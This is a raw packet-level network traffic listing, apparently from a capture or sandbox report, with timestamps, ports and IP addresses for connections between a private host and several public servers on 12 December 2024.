Dec 12, 2024 21:50:39.268999100 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.269052029 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.269879103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.270036936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.270896912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.271008015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.272048950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.272180080 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.272960901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.273083925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.273993969 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.274123907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.275039911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.275160074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.276038885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.276161909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.277095079 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.277199984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.278137922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.278265953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.279128075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.279218912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.279423952 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.279423952 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.279472113 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.280158043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.280244112 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.280266047 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.280354023 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.281167984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.281255960 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.281325102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.281408072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.282231092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.282314062 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.282402992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.282463074 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.283224106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.283389091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.283432007 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.283457041 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.284260035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.284317017 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.284387112 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.284440994 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.285271883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.285326004 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.285382032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.285434961 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.286397934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.286459923 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.286504984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.286576033 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.287349939 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.287404060 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.287473917 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.287529945 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.288387060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.288583994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.289323092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.289984941 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.427577019 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.427685022 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.427747011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.427874088 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.427995920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.428076029 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.428225994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.428303957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.428370953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.428447008 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.429251909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.429331064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.429425955 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.429502964 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.430244923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.430326939 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.430382967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.430459976 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.431293964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.431368113 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.431426048 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.431505919 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.432288885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.432410955 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.433356047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.433475971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.434381008 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.434492111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.435478926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.435647964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.436562061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.436614037 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.437923908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.438363075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.438544989 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.438584089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.438661098 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.438905001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.439100981 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.439831018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.439956903 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.440026999 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.440670013 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.440711021 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.440778971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.441095114 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.441570997 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.441683054 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.441736937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.441807985 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.442604065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.442660093 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.442717075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.442768097 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.443617105 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.443670988 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.443754911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.443809032 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.444639921 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.444700003 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.444737911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.444796085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.445688009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.445921898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.446738005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.446993113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.447702885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.447854042 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.448774099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.448911905 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.449799061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.449871063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.450803041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.450911045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.451603889 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.451603889 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.451883078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.452011108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.452887058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.452984095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.453879118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.454044104 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.454891920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.455056906 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.455976009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.456135035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.457046986 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.457098961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.457999945 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.458149910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.459070921 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.459124088 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.460119963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.460246086 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.461086988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.461234093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.462102890 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.462225914 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.463155985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.463246107 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.464133978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.464260101 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.465187073 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.465348959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.466402054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.466653109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.467597961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.467689991 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.472212076 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.500757933 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.500758886 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.500758886 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.500758886 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:40.252429008 CET	80	49941	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:40.260096073 CET	49941	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:40.689585924 CET	443	49958	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:40.690587997 CET	443	49958	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:40.699333906 CET	443	49958	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:40.703613043 CET	49958	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:40.709861040 CET	49958	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:40.709872007 CET	443	49958	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:40.709899902 CET	49958	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:40.710087061 CET	443	49958	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:40.723339081 CET	49958	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:42.404898882 CET	49937	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:42.405320883 CET	49966	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:42.525182962 CET	80	49937	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:42.525247097 CET	80	49966	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:42.525255919 CET	49937	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:42.525393963 CET	49966	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:42.525499105 CET	49966	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:42.645345926 CET	80	49966	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:43.886492014 CET	49953	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:50:43.901211977 CET	80	49966	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:43.901540041 CET	49966	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:43.979564905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:43.979852915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:44.006411076 CET	80	49953	34.107.221.82	192.168.2.6
Dec 12, 2024 21:50:44.028989077 CET	49972	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:44.029109955 CET	443	49972	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:44.029597044 CET	49972	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:44.030977011 CET	49972	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:44.031011105 CET	443	49972	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:44.037285089 CET	49973	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:44.037321091 CET	443	49973	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:44.037530899 CET	49973	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:44.038754940 CET	49973	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:44.038773060 CET	443	49973	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:44.069427013 CET	49974	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:50:44.069443941 CET	443	49974	35.244.181.201	192.168.2.6
Dec 12, 2024 21:50:44.069648027 CET	49974	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:50:44.069724083 CET	49974	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:50:44.069741011 CET	443	49974	35.244.181.201	192.168.2.6
Dec 12, 2024 21:50:44.099646091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:44.099742889 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:44.099746943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:44.099934101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:44.099987984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:44.202399015 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:44.202431917 CET	443	49976	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:44.202836037 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:44.202972889 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:44.202985048 CET	443	49976	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:44.203063965 CET	80	49953	34.107.221.82	192.168.2.6
Dec 12, 2024 21:50:44.219893932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:44.284461021 CET	49953	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:50:45.259401083 CET	443	49972	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:45.262449980 CET	49972	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:45.265698910 CET	49972	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:45.265728951 CET	443	49972	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:45.265774965 CET	49972	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:45.265928984 CET	443	49972	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:45.266048908 CET	49972	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:45.270442963 CET	443	49973	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:45.272517920 CET	49973	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:45.276015043 CET	49973	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:45.276043892 CET	443	49973	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:45.276102066 CET	49973	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:45.276283979 CET	443	49973	34.117.188.166	192.168.2.6
Dec 12, 2024 21:50:45.292608976 CET	49973	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:50:45.297698975 CET	443	49974	35.244.181.201	192.168.2.6
Dec 12, 2024 21:50:45.303344965 CET	443	49974	35.244.181.201	192.168.2.6
Dec 12, 2024 21:50:45.307250977 CET	49974	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:50:45.309505939 CET	49974	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:50:45.309519053 CET	443	49974	35.244.181.201	192.168.2.6
Dec 12, 2024 21:50:45.309983015 CET	443	49974	35.244.181.201	192.168.2.6
Dec 12, 2024 21:50:45.311197042 CET	49974	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:50:45.311261892 CET	49974	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:50:45.311402082 CET	49974	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:50:45.428853989 CET	443	49976	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:45.433621883 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.436510086 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.436525106 CET	443	49976	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:45.436892033 CET	443	49976	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:45.438956976 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.439060926 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.439188957 CET	443	49976	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:45.439426899 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.439498901 CET	443	49981	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:45.440797091 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.440797091 CET	49976	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.440850019 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.440972090 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:45.440990925 CET	443	49981	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:45.446589947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.446650028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.446682930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.446806908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.446841955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.446877003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.447248936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.447282076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.447335958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.447669029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.452212095 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.452280045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.572278976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.572329998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.574621916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.576438904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.576535940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.585175991 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.638947964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.639112949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.643213987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.643274069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.651698112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.651829958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.655270100 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.659977913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.660092115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.668639898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.668699980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.674642086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.674665928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.675679922 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.683376074 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.683423996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.686017036 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.691708088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.691857100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.696034908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.700706959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.700762987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.708995104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.709069014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.716701984 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.717339039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.717375994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.722465992 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.725106955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.725128889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.736378908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.775275946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.777096033 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.831573009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.831620932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.833853960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.833959103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.837742090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.841964960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.842238903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.848201990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.848510981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.848647118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.848963022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.857043028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.857177973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.858134985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.865016937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.865086079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.865295887 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.869574070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.869617939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.869770050 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.873912096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.873970985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.874223948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.878319979 CET	80	49971	31.41.244.11	192.168.2.6
